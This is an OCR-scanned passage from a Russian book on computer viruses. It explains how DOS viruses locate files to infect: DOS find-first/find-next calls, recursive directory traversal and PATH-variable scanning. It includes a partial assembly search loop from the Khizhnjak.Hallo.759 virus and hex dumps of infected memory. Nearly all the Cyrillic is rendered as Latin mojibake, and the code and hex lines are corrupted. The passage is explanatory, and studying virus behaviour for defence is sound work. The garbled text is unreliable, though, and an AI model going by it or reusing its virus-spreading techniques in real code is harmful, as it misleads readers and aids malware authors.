pa3MHO>KajicH He caMOCTOHTe:ibHO, h o  CTapaHiiHMH aecHTKOB h  c o t c h  n o- 

HHTaTeJieft «T B op n ecT B a » H eicoero  n .  JT. XiDKHHKa, onyojiH KO B aB m ero b 

1991 r. TOHKyro HeB3paHHyio 6pomiopKy n o a  Ha3BaHHeM ^ IlH iu eM  BHpyc 

h  aH TH B H pyc* [32 ], B  s to m  o n y c e  npiiB O flH Jio i h cx o a h m h  acceMOJiepubra 

TeKCT KpaHHe npHMHTHBHOH, Iiep^IU.lHBO H HepailHOHajIbHO HanHCaHHOH 

caM opa3M Hoacaiom eHCH nporpaM M bi, 3 a p a »a B m e ii cfjaftjibi b TeKvine.M 

K a T a jio re  h  coo6 n iaB in e ii: «  Hallo! I h a v e  g o t  v iru s  fo r  y o u !> . 3 T o r o  0Ka- 

3aJI0Cb /lOCTaTOHHO, HTo6bI COHMbI «CTpaJKflyilIH X» KHHyjIHCb Ha6npaTb 

BpyHHyio TeKCT B iip yca , iicnpaBJian b Mepy CBoero noHHMam ia h  pa3yMe- 

h h h  HMeBiiiHecH b HeM o u ih S kh , nepecTaBJiaa MecTaMii HeKOTOpbie ko- 

Mamibi h  3aMeHHH CTpoKy coo6m eHiia Ha cb o h  co6cTBeraibie «K o n n p a ii-  

Tbi>> TH na: «K IP A  Verl.O  Sergey  K. School 654 c lass9 » hjih «EBreHiiH, Tbi 

cKOTHHa!!! X A -X A -X A !! !» .
HacToameH arumeMHH, kohchho, He 6bi.io. H o b MKOJiax, Jiimeax, thm- 

H33HHX H HHCTHTyraX B TCHCHHe HeCKOJIbKHX JieT nOCJie BbIXO/(a KHII3CKH 

peryjiapHO pa3paacajiiicb /icchtkh «MHKpo3miaeMHH», HHHimHpoBaHHbix 

uiKoa-THBbiMH pyHOHKaMii con.niBbix «BiipycoMapaTeJieH». n . JI. X h * -  

hjik ao 6hjich CBoero. Ero hmh b cpe/te BHpycojioroB h «npo/iBHHVThix» 
BHpyconncaTejieii CTajio HapnuaTeJibHbiM.

M c t o a  noHCKa «a cep T B » b TeK ym eM  K aTa jio re  0CH0BaH Ha coBM ecTH oii 

p a6 oT e  n ap M  (JjyiiKHHH M S -D O S : 4Eh «  Find First File> h 4Fh «F indN ext- 
File», z io cT yn n b ix  nepe3  nporpaM M H oe npepbiBaH H e 2 lh. H epe^K O  BHpy
cbi, [icn o jib a y ro m n e  s t o t  m c t o / i .  HaabiaajOT n p o c T o  «S ea rch »-B iip y ca M H  

( o t  aiir/ i. t o  s e a rc h  -  HCKarrb ).

OyHKUHa c ko/iom  4Eh HHHmiajiH3HpyeT nponecc UHKJiHHecKoro no
HCKa h  iibiTae'rca naiiTn nepBbiii cooTBeTCTByroiniiH TpeoyeMbiM
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P v i c .  3 . 5  ❖  A n rop n T M  p a S o T b i s e a r c h - B n p y c a

MacKe noHCKa n <J)aHJioBbiM aTpn6yTaM. Ilepe/i BH30B0M stoh  (JjyHKijHH 

neo6xo,anMo no.MecTHTb b peracrp A H  ko/i (J)yHKUHH (mhcjio 4Eh), b pe- 
riicTp CX -  Ha6op 6htobwx arpHoyTOB hckomoto 4>aftjia, a b perncTpo- 
Byio napv DS:DX -  aztpec tckctoboh ctpokh, aaziaromeH MacKy noncKa. 
n epeHiicjiHM 6HTbi b perHCTpe CX, 3a;iaromHe npaBHJia noncKa cjjaftjiOB:

O 6 h t  0 -  3amnmeHHi>ie o t  3amicn;
O  6 h t  1 -  CKpbiTbie;

O 6 h t  2 -  cucTeMHbie;

O 6 h t  3 -  cfjaHJibi r a n a  «M e iK a  TOMa»;

O 6ht 4 -  KaTaJiorn (Beflb sto Toace 4>aHiibi!);
Q  o u t  5 -  «ap xn B n p o iiaH H b ie » (frafuibi.

OyHKuiHH c Koao.M 4Fh Tpe6 y eT  ro/ibKo n o M ecra T b  cboh  k o a  b periiC Tp  

A H  h  Bbi3BaTb u p e p b iB a m ie  21h. I l p n  Kaacao.M Bbi30Be oHa n oc jie^ oB a - 

Te.TbHO n e p e 6 n paeT  Bee 4>afuibi, cooTBeTCTByio iune vc.tobuhm , onpe/ie- 

jie n H b iM  b  cfiyHKUHji 4Eh.
06e cfwHKium B03BpaiuaK)T ycTaHOBJieHHbiH b eflHHHuy out CARRY  

b p e ra cT p e  (fwiaroB, ec.rm cn n coK  «n o/ txo fla iu H X » 4>an;ioB HcnepnaH. 

B c jiy 'ia e  y c r ie iim o ro  3 aB epm em iH  o 6 e (Jivhkhhh B03BpamaK)T 6 /iok h h - 

(fiopM auHH co  c ;ie fly io u ie fi CTpyKTypon:
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Reserved db i5 ti dup (? )
A t t r db ? ; +15h Arpn6yTbi HaiSfleHHoro 4>afc/;a
Time dw ? ; -H6h BpeMd C03flaHns 4>aK/ia ( 6 hth 0 -4  -  

; cek'/Hflu, 5-10 -  MMHyTU, 11-15 -  4ach

Date dw ? ; +1Sh flaTa 003aaHna $a»na
Size dd ? ; +1Ah Pa3Mep ijjafijia
Name db 14 dup (? ) ; +1Eh i-lMfl 4>aiijia B (JJupMaie 8 .3

3Ta HHtfjopMauHH noMemaeTCH b CBH3aHHyio c nporpaMMoii o6jiacn> 
D T A  -  Data  Transfer Area, rio  yMOJiHanmo o6;iacTb D T A  HaxofliiTca no 

aapecy DS:80h, to  ecTb b tom ace panone, KaKoft 3ape3epBiipoBan a.™ 

pa3MemeHHa KOMaH/inoii CTpoKii nporpaMMbi. nostom v o'leHb MHorne 

«KpiiBO» HaraicaHHbie BHpycbi, pa6oTaiomHe c (jjyHKaHHMH 4Eh/4Fh, 
cnocooHU Heo6paraMO HcnopTHTb KOMaH/itiyro cTpoKy, nepe/iaBae-Myio 

n p o rp a M M e . Bbirjumirr a m  H a n p iiM e p , TaK: n0Jib30BaTe-’ib  sanycKaeT 

4>opMaTiipoBaHiie hhckctm KOMaHZlOH «  F O R M A T  A :», ho nporpaMMa 

«F O R M A T .C O M »,  3apaaceHHaH no/ioonbiM HeKoppeKTHo HanncaHHbiM 

BiipycoM, ynopHO OTKa3biBaeTca BHfleTb hms (jjopMarapyeMon aHCKe- 
tu . /leflcTBHTejibHO, b o6jiacTb naMHTH, npezma3HaMeHHyfo juisi ctpohkh  

«A > ,  4>yHKUHH 4Eh/4Fh bo BpeMH pa6oTbi BHpyca ycneBaiOT noMecTHTb 

aTpn6yTbi h  npoHHe napaMeTpbi KaK0r0-T0 (J)aHJia, to  ecTb, c tohkh 3pe- 
hhh nporpaMMbi «  F O R M  A T  Hepacno3HaBaeMbiH abohhhmh Mycop.

Bojiee aKKyparao HamicaHHbie Biipycbi Ha BpeMH CBoefi pa6on>i npn 

n O M O m il (|)VIIKHHH C KO/[OM lA h  H3MeHHIOT MeCTOnOJIOXeHHC o6iiaCTH 

D T A  b  naMHTii, a n 0T0M B03Bpamai0T ero Ha MecTo.
PaccMOTpHM (J)parMeHT JincTHHra BHpyca Khizhnjak.Hallo.759, hc- 

nojib3yioimiH MeTOfl noncKa npn noMomu ^yuKm rii 4Eh/4Fh:

; CoxpaHeHHe oS/iscth PSP 
mov cx.0100
mov bx.0000

L o o p l:
mov a l,  c s : [ b x ]
mov S a v e [b x ], a l
in c  bx
loo p  Loopl
; Hoiict; nepeoro noaxoflsuiero -paitna
le a  dx, Hask[Dx]
n o v  c x , 0020  ; A T0 M6 yTw

mov ah,4E ; F m d F ir s tF ile
i n t  21

jn e  I n f e c t  , Ha (ipa rw e H T  iiH ^ m n p o e a H n a

im p  N oM ore  . Ha $parM6HT saeepceHMR

N e x tF :

Hou c k , o .n p fly iou ie ro  n o n ^ o f la ii ie rn
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mov ah, 04F ; F in d N e x tF ile
i n t  021
jn c  In fe c t  ; Ha ^parMeHT hh^ muhpobshmr

Imp NoMore ; Ha $parMeHT sasepueHufl
In fe c t :

, tparMSHT 3apa*eHHB nporpaMMbi (nponyteH ) 
jmp NextF

; BocciaHoe.neHne ofinacxH PSP 
NoMore:
mov cx,0100
mov a l,  S ave [bx ]
mov cs: b y te  p t r  [ b x ] , a l
in c  bx
loop  C00001A5

Mask db ' • . c m ' , 0 ; MacKa none tea st>a m/ios

JIro6 onbiTHO, h to  3 t o t  BHpyc flaace He n w T aeTca  nepeHa3HaHHTb Mec- 

T on o jioaceH iie  o 6 jiacTH  D T A  npH iio m o iu h  (JjyHKUHH lA h .  B m c c to  s t o t o  

o h  n ep ea  Hana/ioM p a 6 on>i coxp aH aeT  rzie-TO « b  HyjiaHHHice», a n ep e a  3a- 

BepiueHHeM  -  BoccTaHaBJiiiBaeT Becb 256-6aiiTOBbiH  cjjparM eiiT naMHTii. 

coflepacauiH H  P S P  h KOMaHflHjTO CTpoKy. TeM  He M eH ee peayjibTaT  0Ka3U - 

BaeTCH flo c T n rH jT  -  3apaaceHHaH n porpaM M a He Tepn eT  ziocTyna  k  cB oeii 

KOMaHflHOH CTpOKe.

H epe ;tK o  nporpaM M U , 3apaaceHHbie «S ea rch »-B n p yca M M , MoacHo pac- 

n o 3HaTb, aaace He iib iT a x c t  /tH3acceM 6 jiHpoBaTb h x  ko/i. Z le ;io  b  tom , h to  

ec.TH o 6 ;iacTb  DTA coxparoieTCH  BM ecxe c BH pycoM , t o  BH yrpH  3apa»:eH - 

h o h  nporpaM M bi «H a  n p o c B e T » bii/uim TeKCTOBbie c tp o k h  -  hmh 3apaaceH- 

h o h  nporpaM M bi h  MacKa. B o t  (JjparMeHT aa.Miia nporpaM M U , 3apaaceHHoii 

BiipycoM Bebe.1004, b k o to p o m  h c tk o  Bbi/iejiatoTca MacKa «*.COM» h 

hm h 3 apaaceHHoro i j i a i i a  ^COMMAND.COM>:

OC 01 00 00-00 00 00 00-00 00 00 00-05 00 2A 2E .............................. *.
43 4F 40 00-80 00 78 ID-01 3F 3F 3F-3F 3F 3F 3F COM.A . x . .???????
3F 43 4F 4D-3F 02 00 00-00 00 00 00-00 20 7B 0A ?C0H?...................{.
4C 18 02 00-00 00 43 4F-4D 40 41 4E-44 2E 43 4F L ......... COMMAND.CO
4D 00 00 00-00 00 00 00-58 2E A3 CC-01 58 IE 06 M X . r  X

CD CD CD CD-CD 20 56 49-52 55 53 21-20 CD CD CD ---------- VIRUS! - - -
CD CD CO BB-BA 20 53 6B-61 67 59 20-22 62 65 62 - - - + :  Skagi "bea
65 22 20 3E-20 20 20 20-20 BA C8 CD-CD CD CD CD e" > :+ --------
CD CD CD CD-CD CD CD CD-CD CD CD CD-CD CD CD BC ---------------------------+
BA 20 20 20-20 20 46 6S-67 20 54 65-62 65 20 21 : F ig  Teae !

«S e a rc h »-B iip y c b i on en b  Jienco n m n yT cx  h Ha H3biKax B b icoK oro  ypoB - 

Hfl. B  33MKe C i i  n on cK a  c})aH.)TOB ncno.ub3yeTCH napa (J jvhkuhh  c
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HMeHaMH find first() h  findnext(), h m ootch  aHajiormHbie ripoue/iypbi h 

b  IlacKajie.
Cjie^yeT ynoMsniyrb, hto cymecrByroT h /ipyrne cnoco6bi noncKa (f)aii- 

jiob b yKa3aHHOM KaTajiore.
HanpHMep, co BpeMeH MS-DOS vl.O coxpamuiacb napa cjjyHKmni c 

KO/iaMH 1 lh/12h, HcnoJihsyioinHX b CBoeii pa6oTe 06/iacTb naMimi FCB 
File Control Block. Ho HHtjaopMaijHH, B03BpamaeMaa sthmh c^vmkuhjimh, 
HecKOJibKO Heyao6na p jw  HeM e/m eH iioro  Hcn0Jib30BaHHH BHVTpii BHpyca. 
CaM0pa3MH0>KaK)imiecH nporpaMMbi, Hcnojib3yiomHe cjjyuKHHH 1 lh/12h, 
cymecTByroT, ho hx He.MHoro.

Kpo\ie Toro, b MS-DOS BepciiH 7.x, HHTerpupoBaHHbix b onepa- 
HHOHHbie cncTeMbi ceMeiicTBa Windows 9X, npncyTCTByioT (f)yHKUHH 

714Eh/714Fh ana  noncKa (JiaHJiOB c «a/iHHHbiMH» HMeHaMH. Ho k mo- 
MenTy, Koraa ohh noaBHJiHCb, «Search»-Bnpycbi y»ce bhiujih H3 moah 

nacTOJibKo, h to  «npo;iBHHyTbix» BHpycoraicaTejien ohh yace He HHTepe- 
coBajiH, a «cTyaeHTbi» Bno.rae oSxoflHJiHCb coxpaHHioiUHMii cboio paoo- 
T0Cn0C06H0CTb B HOBUX VCJIOBH5IX (J)yHKHHHMH 4Eh/4Fh.

3 .5 .3 . MeTOA peicypcMBHoro o6xofla AepeBa KaTa/ioroB
Eme 6o;iee «nponBHHVTbiH» MeTOfl, Hcno;ib3yeMbiH b KOMribwrepHbix bh- 
pycax, npeaycMaTpHBaeT noncK «5KepTB» bo Bcex Kara.to rax ahckoboto  

ycTpoilcTBa. O h ocHOBan Ha cjieayiomHX npeflnocbuiKax.
Ecjih b oaiiTe aTpn6yTOB, noMeuiaeMOM nepe/i BH30B0M (fiyHKmm 4Eh 

B peracTp CL, ycTaHOBHTb 6ht c H0Mep0M 4, to  b cnncoK nepe»incjrae- 
Mbix 4>aftjioB nonaayr He TOJibKO oSbiHHbie {Jjafijibi, ho h KaTaJiora. Jinn 
T o r o  HTo6hi nepeMecTHTbca b naH/ienHbm TaKHM 06pa30M KaTajior (cae- 
jiaTb ero TeKymHM), onepaiiHOHHaa CHCTeMa MS-DOS npe^ocTaBJiaer 

nporpaMMHCTy cjwiiKiiHio c K040M 3Bh. ITepea ee BH30B0M aocTaTOMHO 

yKa3an> b perncTpoBofl nape DS:DX aapec iivth k \’Ka3aHH0My KaTajiory.
Konemio, SToro MaJio zijih nojiiioneHHoii HaBHrauHH no (Jjaii/ioBoii ch- 

CTeMe. KaK mhhhmvm noTpe6yioTca eme:
O  (pyiiK iim  c ko/iom 4 7h, KOTOpaa n 03 B 0 jw eT  o n p c a e m iT b  nyTb k Te- 

K y m e M y  K a Ta jio ry ;

O  (JjyHKHna c  KOflOM 25h, KOTOpaa n03B0.rcaeT onpe/ie.iMTb koa tckv- 
mero ahckoboto y c T p o n c T B a ;

O  (f)yiiKnna c KOflOM OEh, KOTcpaa noanojiaeT sacfiHKcupoBaTb vita- 
aaiiHoe aiic.K0B0e ycTpoiicTBO b KanecTBe TCKymero.

CaMa nponeaypa noncKa To>Ke floBOJibHO HeTpiiBiiaJibHa. KaTaJiora Ha 

flHCKOBOM yCTpOllCTBe o6pa3_yiOT 4peB0BHflH}TO CTpyKTypy, H fl-lfl Toro 
•rroDbi rioobiBaTb b KasK/io.M v3Jie aroro aepeBa, Heo6.xo.aHMo pea.nraoBaTb



Hepe3HAeHTHbie Bwpytbi ❖  119

p eK y p ciiB H W H  a/iropM T M  hx o o x o f la .  3Ta 3a/iaH a  cp aB H H T eJib H o  jierKo p e -  

u ia e T c a  Ha H 3b iK ax  bmcokoto ypoB H H , tukhx KaK  I J a c K a j ib  hjih Ch, ho bh -  
3UBaeT psijx  3aT pynH eH H H  npH  n o n b iT K e  H c n 0 Jib 3 0 B a T b  » 3 h k  A c c e M 6 jie p a .  

H e 06x0flHM0 ju n f  Kaayioro V3;ra ( K a r a j i o r a )  HM eTb cboh y m iK a jib H b iH  

KOHTeKCT (p a6oM y K 3 o 6 jia c T b  naMHTH ^ j i a  x p a H e m ia  n ep eM e H H b ix  h  D T A )  
h y M e n . 0 p ra H H 3 0 B b iB a x ij «O TtcaTbi» b tom c j iy n a e ,  K o r g a  ooxoa AO’i e p i m x  

B e T B e ft  m m  /laiiHoro y 3 .r a  ( n o a K a T a ;io r o B  a n a  p a c c M a T p H B a e M o ro  K aT a- 

j i o r a )  3 a B e p u ie H . A n n  a r o r o  a / ip e c  KOHTeKCTa (a  HHor/ta h B e c b  kohtckct) 
npHXO^HTCH COXpaHOTb B  CTeKC... OflHHM CJIOBOM, flJIfl HaMHHafOlUHX BH - 

p y c o r a ic a T e .T e H  a a a a 'i a  peKypcHBHoro o6xo^a a e p e B a  K a T a jio r o B  n acT O  

OKa3W BaeTCH cjihlii kom cjio>khoii. Eme o f l jm  H e/io cT aT o ic  T a K o r o  p o a a  

B i ip y e o B  (BnpoM C M , ZIJW 3 Ji0y M b m iJieH H H K 0B  3 T 0  « n e A 0 C T a T 0 K » , a  z jj ia  

n 0 .T b 3 0 B a T e jie H  sto  «;{o c toh h ctbo ») -  / j0B 0;ib H 0 a o j i r a a ,  cpa3y 3aM eT - 

H a a  a n a  n y T K o r o  y x a  h 3 o p K o r o  r j i a 3 a  p a 6 o T a . H eM y ap eH O , hto B iip y c b i ,  

H c n o J ib 3 y io m iie  s to t  mcto/i, M 0acH 0 n ep ecH H T a T b  n o  n a jib u a M , h 6o.>ibuie 

nOJIOBHHbl H3 HHX OTHOCHTCH K KJiaCCV HLL. B o t  HecKO.TbKO npHMepoB:

Em. 1303, Zipper.2779, HLLP.3678 h n p oH H e.

B H p ycom ica T e jib  MoaceT n03B0JiHTb c e6 e  3apaacaTb jih m b HeKOTOpbie 

n porpaM M bi, aBTop ace aHTHBHpyca o o jm n  npoB epaTb  «n a  B um BocTb* 

Bee 4 )aH iibi Ha VKa3aHH0M flHCKe. I I o s t o m y  cn en H a jin cry , pa3pa6aTbm aio- 

m eM y  aHTHBHpyc-CKaHep, VM eiine o6 xo flm rb  flHCKOBbie K a T a jio n i npocTO  

Heo6xo/!HMo.

B  n pH JioaceH H H  n p H B e/ieH bi n p i iM e p u  r ip o n e ^ y p . c K a m ip y io m H X  a h c - 

K O Bbie K a T a jio n i .  H m c h h o  o a h o h  H3 h h x  n e J ie c 0 0 6 p a 3 H 0  <<nopyH H Tb» b u -  

3 o b  n p o i t e a y p  in fe c t ( )  h  c u re ( ) .

3.5.4. MeTOfl noucKa no «Tpone»
^OBOJibHO AaBHO, c KOHna 80-x roaoB X X  BeKa, BHpycoimcaTe/WMH oc- 
BoeH 3f|)(|)eKTiiBHbiH a.Tropjmi «o 6uiapHBaHHfl» flHCKa, He Tpeoytomiift 

nojiHoro o6xoaa Bcex ero KaTa.ToroB. OcHOBaH oh Ha cymecTBOBaHHH 

b M S -D O S  h W indow s MexaHH3Ma aBTOMaTiinecKoro noncKa nporpaMM  

b 3apaHee upe x oripe;je/ienhbix KaTajiorax. B  Te «BeTX03aBeTHbie» BpeMe- 
Ha, Kor;;a He iio.iyMinn eme pacnpocTpaneHHa cepBncHbie o6ojio,hkh rana  

Norton  Commander, n0Jib30BaT<:;iK> npuxo/iH.riocb o6maTbOH c ciicTeMoil 
TOJibKO npn noMoiiiH KOMan/t, nauHpaeMbix Ha K/iaBiiaType. Pa3VMeeT- 
ca, ec;iH nporpaMMbi, K0T0pbie Tpe6oBa;iocb 3anycKaTb, pacnojiarajincb 

b pas/iH'iHbix KaTa.norax /maca, to  nojib30BaTe.nio nnor/ia npuxoju-i/iocb 

«nyTemecTBOBaTb» no cjioacHOMy /tepcay icaia/ioroB ^0B0JibH0 flojiro, 
npextae hcm oh OKasbiea.acH b HyacHOM mcctc h no/iyna.T B03MoacHocTb 
aanycTHTb ace/iaeMyio nporpaMMV. Cnemia/ibHO /iji>i 'raKHX cji\^iaeB
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b MS-DOS 6bi.;i ripeaycMOTpen MexaHH3M co3aaHH« cnacKa 3apaHee 
npeflonpeaeJieHHbix Kara/roroB, b Koropbix KOMaH/iHbiii uponeccop 
«COMMAND.COM» nbiTajica HCKaTb aanycKaeMbie nporpaMMbi, orpaac- 
jizh noJibsoBaTejia ot Heo6xoflHMocTH BpyMHyio nepeMemaTboi b 3th 
KaTajioni. .VnoMHHyrbm MexaHH3\i jxoxmh flo chx nop aaace bo BnojiHe 
coBpeMeHHMX onepaijHOHHbix cncreMax ceMewcTBa W indows. 3tot cnii- 
cok 3aaaeTCH b KOH(|)Hrypannomibix <f)aiijiax « AUTOEXEC.BAT» hjih 
«AUTOEXEC.NT» npn noMomii CTpOK rana «path KaTaJiorl;KaTaJior2;... 
KaTa.norN» hjih «set path=KaTajiorl;KaTajior2;... icaTajiorN». B coBpe\ieH- 
hhx Bepciwx W indow ’s oh xpanHTca b PeecTpe.

Ilo c .J ie  3 a rp y 3 K H  o n e p a m io H H o ii  c n c T e M b i s t h  c n n c K H  n o n a a a io T  b  c u -  

c m e M H o e  O K p y o K m u e  (e n v i r o n m e n t ) ,  t o  e c Tb  b  o 6 m y io  o o jia c T b  n a M H T ii, 

f lo c x y n H y io  c p a 3 y  a n a  B c e x  n p o rp a M M  h  c o a e p a c a m y io  K a r a e -T o  B aacH H e 

c rip a B O H H b ie  a a n H b ie . 3 T a  H H cJro pM am iH  x p a H H T c a  b  t c k c t o b o m  BHfle. 

r ip o c M O T p e T b  ee m o jk h o  o 'fe n b  n p o c T o  -  n p n  noMomii K O M a n a b i «SET», 
B B e A e iin o ii  c  K J ia B H a T y p u . O K p y a c e H H e  m o jk c t  B b ir.ra / ie rb , H a n p iiM e p , TaK :

WINDIR=C:\WINDOWS , Kaianor, b KOTODafi ycTanoaieHa 00
COMSPEC=C: \WINDOWS\C-OMMAND CON "Pa60M8fl" Konkifl KOMaHflHoro npoueccopa
PROMPT=$P$G ; Bun "noac-KasKH" MS-DOS
PATH=C: \WINDOWS;C:\WINDOWS\COHMAHD;C:\NC;C:\BC5\BIN;C:\TS\SYS 
TEMP=C:\THP ; Kara/ior fl/ia bpghghhux tâ .noe
NC=C:\NC i KaTa.nor fijia Norton Commander
BLASTER*A220 IS DI T4 , HapaMeTpa HacTpoRKM seyKoaow Kapiw

Ka^cfloii BHoBb 3anycKaeMon nporpaMMe Bbi/iejiHeTCH b onepaTHBHoii 
naMHTH cboh KoniiM 3Toro 6jioKa HHcfiopMaiinn. B MacTHOcm, KOManfla 

« S E T »  0T00pa>KaeT coaepaciiMoe Konnsi, npimaaJiOKameH KOMaHaHOMy 

npoueccopy «COM M AND.COM ». H o  Bee Konrni unsi scex nporpaMM co- 
aepacaT 0/iHV n Ty ace HHcjxtpMaiimo. B na.\«mi sth  iianiibie pacnoJiaraioT- 
ca npHMepHO TaK ace, KaK n Ha .stcpane. T0JibK0 Kaacaaa CTponKa 3aBepma- 
eTCH HyjieBbiM oaftTOM. a b caMOM KOHue o6jiacni naMHTH, nocjie 6aiiT0B 01 

h 00, xpaHHTca hmh Toil nporpaMMbi, KOTopofl npiiHaaJieaciiT 3Ta koitoh:

00 57 49 4E 44-49 52 3D 43-3A 5C 57 39-38 00 43 4F WINDING: \W98 GO
10 4D 53 50 45-43 3D 43 3A-5C 57 39 3 8 -5C 43 4F 40 KSPEC=C:\W98\C0M
20 40 41 4E 44-2E 43 4F 40-00 50 52 4F-4D 50 54 3D MAND.C0M PR0MPT=
30 24 50 24 47-00 60 41 54-48 30 43 3A-5C 57 49 4E $PSG PATH=C:\WIH
40 44 4F 67 53-38 43 3A 5C-57 49 4E 44-4F 57 53 SC DOW’S; C:\WIND0WS\
50 43 4F 4D 4D-41 4E 44 3B-43 3A 5C 42-43 35 SC 42 COMMAND;C:\3C5\3
60 49 4E 38 43-3A 5C 54 53-50 53 59 53-00 54 45 4D IN ;C:\TS\SYS TEH
70 60 3D 43 3A-5C 54 40 50-00 4E 43 3D- 43 3A 5C 4E P=C:\TMP NC-G:\N
80 43 00 42 4C-41 53 64 45-52 3D 41 32-32 30 20 49 C 6LASTER=A220 I
SO 35 20 44 31-20 54 34 01-00 43 3A 50-57 49 4E 44 5 D1 T4 C:\WIND
A0 4F 57 53 50-43 4F 40 40-4: 4fc 64 5C-44 45 42 55 0WS\C0MHAND\DEBU
80 4 7 2E 45 58-45 00 00 G. EXE
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CerMeHTHbift aapec 4>paraeHTa naMHTH, coziepxamero 3Ty HH(j)op.\ia- 
UPiio, aBTOMaxu’iecKH «AaeTca b Hac;ieACTBO» KaacAOH BHOBb 3anymeHH0H 
nporpaMMe, pa3Memaacb b PSP no CMemeHHio 2Ch.

TaKHM 00pa30M, /iiooaa nporpaMMa (TaK >Ke KaK h BHpyc, 3apa3HBmHii 
a t v  nporpaMMy), M o a c e r oGpaTHTbca k C B oen  KonHH 6 ji0 K a  OKpyaceHHa 
h BbiM.neHHTb H3 Hee CTpoKy. onncbiBaiomyio MHO»cecTBO «npeaonpefle- 
jieHHbix>> KaTaJioroB. B HauieM npuwepe 3Ta cTpoKa, nannHaiomaaca 
K-TOHeBbiM cjiobom « PATH»  (b  nepeBo^e c aHnmik.Koro -  «Tpona»), 
onncbisaeT naTb KaTaJioroB: « PATH= C :\W INDOW S ; C:\WINDOWS\ 
COMMAND;C:\NC;C:\BC5\BIN;C:\TS\SYS». Kohchho, Ha AiicKe 
peajibHO MoryT cymecTBOBaTb cothh KaTaJioroB, coAepacamnx tmchhh 
(J>aHJiOB. Ho bot am HeMHorne, onHcaHHbie b cTpoKe «PATH», 3aBe;i0M0 
co,aep/KaT 4>aHAbi Hcno.raaeMbix nporpaMM, h n0.ib30BaTe.Tb rapaHTiipo- 
BanHo 6yaeT sth  nporpaMMbi nacre 3anycKaTb. Co6ctbchho roBopa, no- 
ao6hoh HHcJjopMamiH BHpycy BnoJiHe AocTaTOHHO.

llepBbiM BHpycoM, Hcn0Jib30BaBinHM MeToa noncKa no «Tpone», 6h.i 
3HaMeHHTbrti BHpyc Vienna.648, 3kthbho pacnpocTpaiiaBUiHiica He 
TOJibKO B «>KHB0M>> BH/IC, HO H B BH/ie HCXOflHOTO TeKCTa, OIiyfijIHKOBaHHO- 
ro b KOHUe 80-x toaob b KHure Pa.Tbc^a Bioprepa [36]. A;iropnTM noncKa 
BiipycoM >KepTB npocT a aaace b hcm-to KpaciiB:

1) b 6jiokc oKpy^cemta HiueTca CTpoKa, HaHUHaromaaea c «PATH»;
2) CTpoKa cKamipyeTca, npn stom BhiHiieHaioTca (fjpanweHTbi, pa3fle- 

JieHHbie chmbojiom « ; »  (tomks c 3anaTofi);

3) KaacAbin TaKoii (fiparMCHT ripeACTaB.iaeT co6oh n\ia Henoero Ka- 
Tajiora, k kotopomv AocTaTOHHO AooaBHTb KycoMeK MacKH noncKa 
BHfla «\*.COM» h HCKaTb nejm a m  3apaaceHHa TpaaniiHOHHHM 
cnocoooM -  npn noMomn ^ vhkuhh 4Eh/4Fh.

HHTepecHo, hto «3apaacaromaa cnoco6Hocn>» BiipycoB, Hcnojibsyro- 
mux 3tot MeToa noncKa, c noaB/iemieM hobmx Bepcnii oriepannoHUMx 

ciicTeM n 'axe  BQ3poc.fia. Toraa, 15 jic t Ha3a/i, AocTaTOHHO 6buio Boo6me 

He yKa3biBaTb b cfjaitie AUTOEXEC.BAT CTpoKy onucanna «*rponbi» -  
h BHpyc He nameji 6bi KJiioMeBoro cjioBa «PATH». TaKace BecbMa neii- 

cTBeHHUM 6bi,n TproK, Koraa b «Tpone» onncbiBajica nyTb Bcero k oziHOMy 
KaTajiory, a stot Kara ji or He coAepaca.T COM- h EXE-cfjafi.iOB, ho TOJib- 
ko BAT-«3anycKa.!iKH» /(jih hhx. Ybh, Tenepb onepanHonnbie cncTeMbi 
Windows 95/98/ME fipHiiy/urre;ii,HO BnncbiBaiOT b AUTOEXEC.BAT 
CTpoKy, yKaaiiiBaiomyio Ha cboh CHCTeMHbie KaTaJiora, a Windows ME 
nocjie Bcero eme h 3anpemaeT n0Jib30BaTe/iro stot 4>aHJi M0/1H<}>HHHP0- 
BaTb. Xopoiuo, hto «BeHCKwii» a/iropiiTM aaBiio Bbiuie./i na mo ah.
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3.6. Pe3MAeHTHbie Biipycbi
- A x  npumatocb, KaK nayK, 6ydy 3a eceM smuM 
naojuodamb u pem cm pupoeanib.

A . h  B . C xpvrauK H e. «M ajib im »-

P e 3 H ,zie H TH H H  BH pyc cpa3y  n o c jie  3 a n y c K a  3apa>KeH H 0H  hm nporpa.MMbi 

ODbiHHO H e n p e a n p H H H M a e T  H H K a K iix  a c h c tb h h , H a n p a B Jie H H b ix  H a  n o n c K  

h 3apasKeH He «5KepTB». Ilepe/ i hhm  b  s t o  BpeM H  c t o h t  a p y r a n  3 a A a n a  -  3a- 

X B a TH Tb  h  H cn o .fib so B a Tb  H a c Tb  c i ic t c m h u x  p e c y p c o B  K O M n b iQ Te p a  Ta K , 

H To 6 b i n o c jie  3 a B e p m e m iH  sa p a a ce H H o ii n p o rp a M M b i ca M O M y  « o c T a T b c n  b 

5K H B b ix». B n p iiH U H iie , Ta K o e  n o B e a e H H e  Ma/io O TJiH 'ia e TC H  o t  noBe/ieH K H  

p a c c M O T p e H H b ix  p a H e e  3 a rp y 3 0 H H b ix  B H p y c o B , TO JibK O  T e n e p b  B H p y c  CTap- 

TyeT He H3 / ih ck o b o to  ce ic ro p a , h o  H 3  n p o rp aM M b i-«H O C H T e jw », h  3a p a »ca - 

e T  He 3 a r p y 3 0 Trnbie  c eK T o p u  BHH^ecTepa h  a h c k c t ,  h o  z ip y rn e  nporpaM M U . 

P a syM e e TC H , c n o c o 6 b i «O TK ycuB aH H H » naMHTH h  HOMepa n e p e x B a Tb ra a e - 

m u x  n p e p u B aH H H  A p y n ie .  O ziH a K O  u m x  p a6 oT U  ocTaeTcn  npeacH en:

O  nocTOHHHO 0CTaBaTbCH b onepaTHBHOH naM HTii;

O  OTCJieaaiBaTb aicraBHocTb npHro/iHbix /ijlh 3apa5KemiH 0 6 i>eKT0 B 

(o6biHHO 3anycK  h  3aBepuieHHe nporpaM M , a T a io se  o n ep a im n  c 

nporpaM M H biM ii cJaHJiaMH);

O  3apa»caTb h x .

3 . 6 . 1 .  C x e M a  p a c n p e a e j ie H M H  n aM fn ru  b M S - D O S

P a 3 p a 6 o T 4 H K H  MS-DOS 3 a p e 3 e p B iip o B a jra  640 K6 a a p e c H o ro  n p o c T p a H - 

CTB3 A  JIH H CI10Jlb30BaH HH  O n e p a iJH O H H O H  C H C TeM O H  H  Iip H K JiaiTH blM H  

n p o rp a M M a M H . I le p B U H  K H J io 6 a iiT  3 t o h  o 6 j ia c r a  3 a H H T T a o jiH iie ii  B eK - 

